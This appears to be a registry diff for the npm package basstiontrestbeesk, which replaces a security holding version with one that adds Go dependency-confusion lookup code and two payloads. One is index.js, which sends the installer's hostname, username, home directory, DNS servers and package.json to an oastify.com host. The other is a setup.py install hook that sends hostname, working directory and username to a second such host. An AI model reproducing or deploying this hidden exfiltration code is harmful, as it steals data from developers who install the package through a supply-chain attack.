basstiontrestbeesk 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of basstiontrestbeesk might be problematic. Click here for more details.

@@ -0,0 +1,139 @@
1
+ //
2
+ // https://raw.githubusercontent.com/creekorful/mvnparser/master/parser.go
3
+ //
4
+ // MIT License
5
+ //
6
+ // Copyright (c) 2019 Aloïs Micard
7
+ //
8
+ // Permission is hereby granted, free of charge, to any person obtaining a copy
9
+ // of this software and associated documentation files (the "Software"), to deal
10
+ // in the Software without restriction, including without limitation the rights
11
+ // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
12
+ // copies of the Software, and to permit persons to whom the Software is
13
+ // furnished to do so, subject to the following conditions:
14
+ //
15
+ // The above copyright notice and this permission notice shall be included in all
16
+ // copies or substantial portions of the Software.
17
+ //
18
+ // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19
+ // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20
+ // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
21
+ // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22
+ // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
23
+ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
24
+ // SOFTWARE.
25
+
26
+ package main
27
+
28
+ import (
29
+ "encoding/xml"
30
+ "io"
31
+ )
32
+
33
+ // Represent a POM file
34
+ type MavenProject struct {
35
+ XMLName xml.Name `xml:"project"`
36
+ ModelVersion string `xml:"modelVersion"`
37
+ Parent Parent `xml:"parent"`
38
+ GroupId string `xml:"groupId"`
39
+ ArtifactId string `xml:"artifactId"`
40
+ Version string `xml:"version"`
41
+ Packaging string `xml:"packaging"`
42
+ Name string `xml:"name"`
43
+ Repositories []Repository `xml:"repositories>repository"`
44
+ Properties Properties `xml:"properties"`
45
+ DependencyManagement DependencyManagement `xml:"dependencyManagement"`
46
+ Dependencies []Dependency `xml:"dependencies>dependency"`
47
+ Profiles []Profile `xml:"profiles"`
48
+ Build Build `xml:"build"`
49
+ PluginRepositories []PluginRepository `xml:"pluginRepositories>pluginRepository"`
50
+ Modules []string `xml:"modules>module"`
51
+ }
52
+
53
+ // Represent the parent of the project
54
+ type Parent struct {
55
+ GroupId string `xml:"groupId"`
56
+ ArtifactId string `xml:"artifactId"`
57
+ Version string `xml:"version"`
58
+ }
59
+
60
+ // Represent a dependency of the project
61
+ type Dependency struct {
62
+ XMLName xml.Name `xml:"dependency"`
63
+ GroupId string `xml:"groupId"`
64
+ ArtifactId string `xml:"artifactId"`
65
+ Version string `xml:"version"`
66
+ Classifier string `xml:"classifier"`
67
+ Type string `xml:"type"`
68
+ Scope string `xml:"scope"`
69
+ Exclusions []Exclusion `xml:"exclusions>exclusion"`
70
+ }
71
+
72
+ // Represent an exclusion
73
+ type Exclusion struct {
74
+ XMLName xml.Name `xml:"exclusion"`
75
+ GroupId string `xml:"groupId"`
76
+ ArtifactId string `xml:"artifactId"`
77
+ }
78
+
79
+ type DependencyManagement struct {
80
+ Dependencies []Dependency `xml:"dependencies>dependency"`
81
+ }
82
+
83
+ // Represent a repository
84
+ type Repository struct {
85
+ Id string `xml:"id"`
86
+ Name string `xml:"name"`
87
+ Url string `xml:"url"`
88
+ }
89
+
90
+ type Profile struct {
91
+ Id string `xml:"id"`
92
+ Build Build `xml:"build"`
93
+ }
94
+
95
+ type Build struct {
96
+ // todo: final name ?
97
+ Plugins []Plugin `xml:"plugins>plugin"`
98
+ }
99
+
100
+ type Plugin struct {
101
+ XMLName xml.Name `xml:"plugin"`
102
+ GroupId string `xml:"groupId"`
103
+ ArtifactId string `xml:"artifactId"`
104
+ Version string `xml:"version"`
105
+ //todo something like: Configuration map[string]string `xml:"configuration"`
106
+ // todo executions
107
+ }
108
+
109
+ // Represent a pluginRepository
110
+ type PluginRepository struct {
111
+ Id string `xml:"id"`
112
+ Name string `xml:"name"`
113
+ Url string `xml:"url"`
114
+ }
115
+
116
+ // Represent Properties
117
+ type Properties map[string]string
118
+
119
+ func (p *Properties) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {
120
+ *p = map[string]string{}
121
+ for {
122
+ key := ""
123
+ value := ""
124
+ token, err := d.Token()
125
+ if err == io.EOF {
126
+ break
127
+ }
128
+ switch tokenType := token.(type) {
129
+ case xml.StartElement:
130
+ key = tokenType.Name.Local
131
+ err := d.DecodeElement(&value, &start)
132
+ if err != nil {
133
+ return err
134
+ }
135
+ (*p)[key] = value
136
+ }
137
+ }
138
+ return nil
139
+ }
@@ -0,0 +1,210 @@
1
+ package main
2
+
3
+ import (
4
+ "encoding/json"
5
+ "fmt"
6
+ "io/ioutil"
7
+ "net/http"
8
+ "strings"
9
+ "time"
10
+ )
11
+
12
+ // PackageJSON represents the dependencies of an npm package
13
+ type PackageJSON struct {
14
+ Dependencies map[string]string `json:"dependencies,omitempty"`
15
+ DevDependencies map[string]string `json:"devDependencies,omitempty"`
16
+ PeerDependencies map[string]string `json:"peerDependencies,omitempty"`
17
+ BundledDependencies []string `json:"bundledDependencies,omitempty"`
18
+ BundleDependencies []string `json:"bundleDependencies,omitempty"`
19
+ OptionalDependencies map[string]string `json:"optionalDependencies,omitempty"`
20
+ }
21
+
22
+ type NpmResponse struct {
23
+ ID string `json:"_id"`
24
+ Name string `json:"name"`
25
+ Time struct {
26
+ Unpublished NpmResponseUnpublished `json:"unpublished"`
27
+ } `json:"time"`
28
+ }
29
+
30
+ type NpmResponseUnpublished struct {
31
+ Maintainers []struct {
32
+ Email string `json:"email"`
33
+ Name string `json:"name"`
34
+ } `json:"maintainers"`
35
+ Name string `json:"name"`
36
+ Tags struct {
37
+ Latest string `json:"latest"`
38
+ } `json:"tags"`
39
+ Time time.Time `json:"time"`
40
+ Versions []string `json:"versions"`
41
+ }
42
+
43
+ // NotAvailable returns true if the package has its all versions unpublished making it susceptible for takeover
44
+ func (n *NpmResponse) NotAvailable() bool {
45
+ // Check if a known field has a value
46
+ return len(n.Time.Unpublished.Name) > 0
47
+ }
48
+
49
+ // NPMLookup represents a collection of npm packages to be tested for dependency confusion.
50
+ type NPMLookup struct {
51
+ Packages []NPMPackage
52
+ Verbose bool
53
+ }
54
+
55
+ type NPMPackage struct {
56
+ Name string
57
+ Version string
58
+ }
59
+
60
+ // NewNPMLookup constructs an `NPMLookup` struct and returns it.
61
+ func NewNPMLookup(verbose bool) PackageResolver {
62
+ return &NPMLookup{Packages: []NPMPackage{}, Verbose: verbose}
63
+ }
64
+
65
+ // ReadPackagesFromFile reads package information from an npm package.json file
66
+ //
67
+ // Returns any errors encountered
68
+ func (n *NPMLookup) ReadPackagesFromFile(filename string) error {
69
+ rawfile, err := ioutil.ReadFile(filename)
70
+ if err != nil {
71
+ return err
72
+ }
73
+ data := PackageJSON{}
74
+ err = json.Unmarshal([]byte(rawfile), &data)
75
+ if err != nil {
76
+ fmt.Printf(" [W] Non-fatal issue encountered while reading %s : %s\n", filename, err)
77
+ }
78
+ for pkgname, pkgversion := range data.Dependencies {
79
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
80
+ }
81
+ for pkgname, pkgversion := range data.DevDependencies {
82
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
83
+ }
84
+ for pkgname, pkgversion := range data.PeerDependencies {
85
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
86
+ }
87
+ for pkgname, pkgversion := range data.OptionalDependencies {
88
+ n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
89
+ }
90
+ for _, pkgname := range data.BundledDependencies {
91
+ n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
92
+ }
93
+ for _, pkgname := range data.BundleDependencies {
94
+ n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
95
+ }
96
+ return nil
97
+ }
98
+
99
+ // PackagesNotInPublic determines if an npm package does not exist in the public npm package repository.
100
+ //
101
+ // Returns a slice of strings with any npm packages not in the public npm package repository
102
+ func (n *NPMLookup) PackagesNotInPublic() []string {
103
+ notavail := []string{}
104
+ for _, pkg := range n.Packages {
105
+ if n.localReference(pkg.Version) || n.urlReference(pkg.Version) || n.gitReference(pkg.Version) {
106
+ continue
107
+ }
108
+ if n.gitHubReference(pkg.Version) {
109
+ if !n.gitHubOrgExists(pkg.Version) {
110
+ notavail = append(notavail, pkg.Name)
111
+ continue
112
+ } else {
113
+ continue
114
+ }
115
+ }
116
+ if !n.isAvailableInPublic(pkg.Name, 0) {
117
+ notavail = append(notavail, pkg.Name)
118
+ }
119
+ }
120
+ return notavail
121
+ }
122
+
123
+ // isAvailableInPublic determines if an npm package exists in the public npm package repository.
124
+ //
125
+ // Returns true if the package exists in the public npm package repository.
126
+ func (n *NPMLookup) isAvailableInPublic(pkgname string, retry int) bool {
127
+ if retry > 3 {
128
+ fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
129
+ return false
130
+ }
131
+ if n.Verbose {
132
+ fmt.Print("Checking: https://registry.npmjs.org/" + pkgname + "/ : ")
133
+ }
134
+ resp, err := http.Get("https://registry.npmjs.org/" + pkgname + "/")
135
+ if err != nil {
136
+ fmt.Printf(" [W] Error when trying to request https://registry.npmjs.org/"+pkgname+"/ : %s\n", err)
137
+ return false
138
+ }
139
+ defer resp.Body.Close()
140
+ if n.Verbose {
141
+ fmt.Printf("%s\n", resp.Status)
142
+ }
143
+ if resp.StatusCode == http.StatusOK {
144
+ npmResp := NpmResponse{}
145
+ body, _ := ioutil.ReadAll(resp.Body)
146
+ _ = json.Unmarshal(body, &npmResp)
147
+ if npmResp.NotAvailable() {
148
+ if n.Verbose {
149
+ fmt.Printf("[W] Package %s was found, but all its versions are unpublished, making anyone able to takeover the namespace.\n", pkgname)
150
+ }
151
+ return false
152
+ }
153
+ return true
154
+ } else if resp.StatusCode == 429 {
155
+ fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
156
+ time.Sleep(10 * time.Second)
157
+ retry = retry + 1
158
+ return n.isAvailableInPublic(pkgname, retry)
159
+ }
160
+ return false
161
+ }
162
+
163
+ // localReference checks if the package version is in fact a reference to filesystem
164
+ func (n *NPMLookup) localReference(pkgversion string) bool {
165
+ return strings.HasPrefix(strings.ToLower(pkgversion), "file:")
166
+ }
167
+
168
+ // urlReference checks if the package version is in fact a reference to a direct URL
169
+ func (n *NPMLookup) urlReference(pkgversion string) bool {
170
+ pkgversion = strings.ToLower(pkgversion)
171
+ return strings.HasPrefix(pkgversion, "http:") || strings.HasPrefix(pkgversion, "https:")
172
+ }
173
+
174
+ // gitReference checks if the package version is in fact a reference to a remote git repository
175
+ func (n *NPMLookup) gitReference(pkgversion string) bool {
176
+ pkgversion = strings.ToLower(pkgversion)
177
+ gitResources := []string{"git+ssh:", "git+http:", "git+https:", "git:"}
178
+ for _, r := range gitResources {
179
+ if strings.HasPrefix(pkgversion, r) {
180
+ return true
181
+ }
182
+ }
183
+ return false
184
+ }
185
+
186
+ // gitHubReference checks if the package version refers to a GitHub repository
187
+ func (n *NPMLookup) gitHubReference(pkgversion string) bool {
188
+ return !strings.HasPrefix(pkgversion, "@") && strings.Contains(pkgversion, "/")
189
+ }
190
+
191
+ // gitHubOrgExists returns true if GitHub organization / user exists
192
+ func (n NPMLookup) gitHubOrgExists(pkgversion string) bool {
193
+ orgName := strings.Split(pkgversion, "/")[0]
194
+ if len(orgName) > 0 {
195
+ if n.Verbose {
196
+ fmt.Print("Checking: https://github.com/" + orgName + " : ")
197
+ }
198
+ resp, err := http.Get("https://github.com/" + orgName)
199
+ if err != nil {
200
+ fmt.Printf(" [W] Error while trying to request https://github.com/"+orgName+" : %s\n", err)
201
+ return false
202
+ }
203
+ defer resp.Body.Close()
204
+ if n.Verbose {
205
+ fmt.Printf("%d\n", resp.StatusCode)
206
+ }
207
+ return resp.StatusCode == 200
208
+ }
209
+ return false
210
+ }
@@ -0,0 +1,99 @@
1
+ package main
2
+
3
+ import (
4
+ "fmt"
5
+ "io/ioutil"
6
+ "net/http"
7
+ "strings"
8
+ )
9
+
10
+ // PythonLookup represents a collection of python packages to be tested for dependency confusion.
11
+ type PythonLookup struct {
12
+ Packages []string
13
+ Verbose bool
14
+ }
15
+
16
+ // NewPythonLookup constructs a `PythonLookup` struct and returns it
17
+ func NewPythonLookup(verbose bool) PackageResolver {
18
+ return &PythonLookup{Packages: []string{}, Verbose: verbose}
19
+ }
20
+
21
+ // ReadPackagesFromFile reads package information from a python `requirements.txt` file
22
+ //
23
+ // Returns any errors encountered
24
+ func (p *PythonLookup) ReadPackagesFromFile(filename string) error {
25
+ rawfile, err := ioutil.ReadFile(filename)
26
+ if err != nil {
27
+ return err
28
+ }
29
+ line := ""
30
+ for _, l := range strings.Split(string(rawfile), "\n") {
31
+ l = strings.TrimSpace(l)
32
+ if strings.HasPrefix(l, "#") {
33
+ continue
34
+ }
35
+ if len(l) > 0 {
36
+ // Support line continuation
37
+ if strings.HasSuffix(l, "\\") {
38
+ line += l[:len(l) - 1]
39
+ continue
40
+ }
41
+ line += l
42
+ pkgrow := strings.FieldsFunc(line, p.pipSplit)
43
+ if len(pkgrow) > 0 {
44
+ p.Packages = append(p.Packages, strings.TrimSpace(pkgrow[0]))
45
+ }
46
+ // reset the line variable
47
+ line = ""
48
+ }
49
+ }
50
+ return nil
51
+ }
52
+
53
+ // PackagesNotInPublic determines if a python package does not exist in the pypi package repository.
54
+ //
55
+ // Returns a slice of strings with any python packages not in the pypi package repository
56
+ func (p *PythonLookup) PackagesNotInPublic() []string {
57
+ notavail := []string{}
58
+ for _, pkg := range p.Packages {
59
+ if !p.isAvailableInPublic(pkg) {
60
+ notavail = append(notavail, pkg)
61
+ }
62
+ }
63
+ return notavail
64
+ }
65
+
66
+ func (p *PythonLookup) pipSplit(r rune) bool {
67
+ delims := []rune{
68
+ '=',
69
+ '<',
70
+ '>',
71
+ '!',
72
+ ' ',
73
+ '~',
74
+ '#',
75
+ '[',
76
+ }
77
+ return inSlice(r, delims)
78
+ }
79
+
80
+ // isAvailableInPublic determines if a python package exists in the pypi package repository.
81
+ //
82
+ // Returns true if the package exists in the pypi package repository.
83
+ func (p *PythonLookup) isAvailableInPublic(pkgname string) bool {
84
+ if p.Verbose {
85
+ fmt.Print("Checking: https://pypi.org/project/" + pkgname + "/ : ")
86
+ }
87
+ resp, err := http.Get("https://pypi.org/project/" + pkgname + "/")
88
+ if err != nil {
89
+ fmt.Printf(" [W] Error when trying to request https://pypi.org/project/"+pkgname+"/ : %s\n", err)
90
+ return false
91
+ }
92
+ if p.Verbose {
93
+ fmt.Printf("%s\n", resp.Status)
94
+ }
95
+ if resp.StatusCode == http.StatusOK {
96
+ return true
97
+ }
98
+ return false
99
+ }
@@ -0,0 +1,149 @@
1
+ package main
2
+
3
+ import (
4
+ "bufio"
5
+ "encoding/json"
6
+ "fmt"
7
+ "io/ioutil"
8
+ "net/http"
9
+ "os"
10
+ "strings"
11
+ "time"
12
+ )
13
+
14
+ type Gem struct {
15
+ Remote string
16
+ IsLocal bool
17
+ IsRubyGems bool
18
+ IsTransitive bool
19
+ Name string
20
+ Version string
21
+ }
22
+
23
+ type RubyGemsResponse struct {
24
+ Name string `json:"name"`
25
+ Downloads int64 `json:"downloads"`
26
+ Version string `json:"version"`
27
+ }
28
+
29
+ // RubyGemsLookup represents a collection of rubygems packages to be tested for dependency confusion.
30
+ type RubyGemsLookup struct {
31
+ Packages []Gem
32
+ Verbose bool
33
+ }
34
+
35
+ // NewRubyGemsLookup constructs an `RubyGemsLookup` struct and returns it.
36
+ func NewRubyGemsLookup(verbose bool) PackageResolver {
37
+ return &RubyGemsLookup{Packages: []Gem{}, Verbose: verbose}
38
+ }
39
+
40
+ // ReadPackagesFromFile reads package information from a Gemfile.lock file
41
+ //
42
+ // Returns any errors encountered
43
+ func (r *RubyGemsLookup) ReadPackagesFromFile(filename string) error {
44
+ file, err := os.Open(filename)
45
+ if err != nil {
46
+ return err
47
+ }
48
+ defer file.Close()
49
+ scanner := bufio.NewScanner(file)
50
+ var remote string
51
+ for scanner.Scan() {
52
+ line := scanner.Text()
53
+ trimmedLine := strings.TrimSpace(line)
54
+ if strings.HasPrefix(trimmedLine, "remote:") {
55
+ remote = strings.TrimSpace(strings.SplitN(trimmedLine, ":", 2)[1])
56
+ } else if trimmedLine == "revision:" {
57
+ continue
58
+ } else if trimmedLine == "branch:" {
59
+ continue
60
+ } else if trimmedLine == "GIT" {
61
+ continue
62
+ } else if trimmedLine == "GEM" {
63
+ continue
64
+ } else if trimmedLine == "PATH" {
65
+ continue
66
+ } else if trimmedLine == "PLATFORMS" {
67
+ break
68
+ } else if trimmedLine == "specs:" {
69
+ continue
70
+ } else if len(trimmedLine) > 0 {
71
+ parts := strings.SplitN(trimmedLine, " ", 2)
72
+ name := strings.TrimSpace(parts[0])
73
+ var version string
74
+ if len(parts) > 1 {
75
+ version = strings.TrimRight(strings.TrimLeft(parts[1], "("), ")")
76
+ } else {
77
+ version = ""
78
+ }
79
+ r.Packages = append(r.Packages, Gem{
80
+ Remote: remote,
81
+ IsLocal: !strings.HasPrefix(remote, "http"),
82
+ IsRubyGems: strings.HasPrefix(remote, "https://rubygems.org"),
83
+ IsTransitive: countLeadingSpaces(line) == 6,
84
+ Name: name,
85
+ Version: version,
86
+ })
87
+ } else {
88
+ continue
89
+ }
90
+ }
91
+ return nil
92
+ }
93
+
94
+ // PackagesNotInPublic determines if a rubygems package does not exist in the public rubygems package repository.
95
+ //
96
+ // Returns a slice of strings with any rubygem packages not in the public rubygems package repository
97
+ func (r *RubyGemsLookup) PackagesNotInPublic() []string {
98
+ notavail := []string{}
99
+ for _, pkg := range r.Packages {
100
+ if pkg.IsLocal || !pkg.IsRubyGems {
101
+ continue
102
+ }
103
+ if !r.isAvailableInPublic(pkg.Name, 0) {
104
+ notavail = append(notavail, pkg.Name)
105
+ }
106
+ }
107
+ return notavail
108
+ }
109
+
110
+ // isAvailableInPublic determines if a rubygems package exists in the public rubygems.org package repository.
111
+ //
112
+ // Returns true if the package exists in the public rubygems package repository.
113
+ func (r *RubyGemsLookup) isAvailableInPublic(pkgname string, retry int) bool {
114
+ if retry > 3 {
115
+ fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
116
+ return false
117
+ }
118
+ url := fmt.Sprintf("https://rubygems.org/api/v1/gems/%s.json", pkgname)
119
+ if r.Verbose {
120
+ fmt.Printf("Checking: %s : \n", url)
121
+ }
122
+ resp, err := http.Get(url)
123
+ if err != nil {
124
+ fmt.Printf(" [W] Error when trying to request %s: %s\n", url, err)
125
+ return false
126
+ }
127
+ defer resp.Body.Close()
128
+ if r.Verbose {
129
+ fmt.Printf("%s\n", resp.Status)
130
+ }
131
+ if resp.StatusCode == http.StatusOK {
132
+ rubygemsResp := RubyGemsResponse{}
133
+ body, _ := ioutil.ReadAll(resp.Body)
134
+ err = json.Unmarshal(body, &rubygemsResp)
135
+ if err != nil {
136
+ // This shouldn't ever happen because if it doesn't return JSON, it likely has returned
137
+ // a non-200 status code.
138
+ fmt.Printf(" [W] Error when trying to unmarshal response from %s: %s\n", url, err)
139
+ return false
140
+ }
141
+ return true
142
+ } else if resp.StatusCode == 429 {
143
+ fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
144
+ time.Sleep(10 * time.Second)
145
+ retry = retry + 1
146
+ return r.isAvailableInPublic(pkgname, retry)
147
+ }
148
+ return false
149
+ }
@@ -0,0 +1,16 @@
1
+ package main
2
+
3
+ import "strings"
4
+
5
+ func inSlice(what rune, where []rune) bool {
6
+ for _, r := range where {
7
+ if r == what {
8
+ return true
9
+ }
10
+ }
11
+ return false
12
+ }
13
+
14
+ func countLeadingSpaces(line string) int {
15
+ return len(line) - len(strings.TrimLeft(line, " "))
16
+ }
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "7iqwhugfwkzt7tjf46gu2aqzaqgh4lsa.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "basstiontrestbeesk",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "rishihacker",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \\\"Error: no test specified\\\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/setup.py ADDED
@@ -0,0 +1,24 @@
1
+ from setuptools import setup
2
+ from setuptools.command.install import install
3
+ import requests
4
+ import socket
5
+ import getpass
6
+ import os
7
+
8
+ class CustomInstall(install):
9
+ def run(self):
10
+ install.run(self)
11
+ hostname=socket.gethostname()
12
+ cwd = os.getcwd()
13
+ username = getpass.getuser()
14
+ ploads = {'hostname':hostname,'cwd':cwd,'username':username}
15
+ requests.get("https://l4qa382tiyl7t75tqk28oocdw42vq0ep.oastify.com",params = ploads) #replace burpcollaborator.net with Interactsh or pipedream
16
+
17
+
18
+ setup(name='dependency1337', #package name
19
+ version='1.0.0',
20
+ description='test',
21
+ author='test',
22
+ license='MIT',
23
+ zip_safe=False,
24
+ cmdclass={'install': CustomInstall})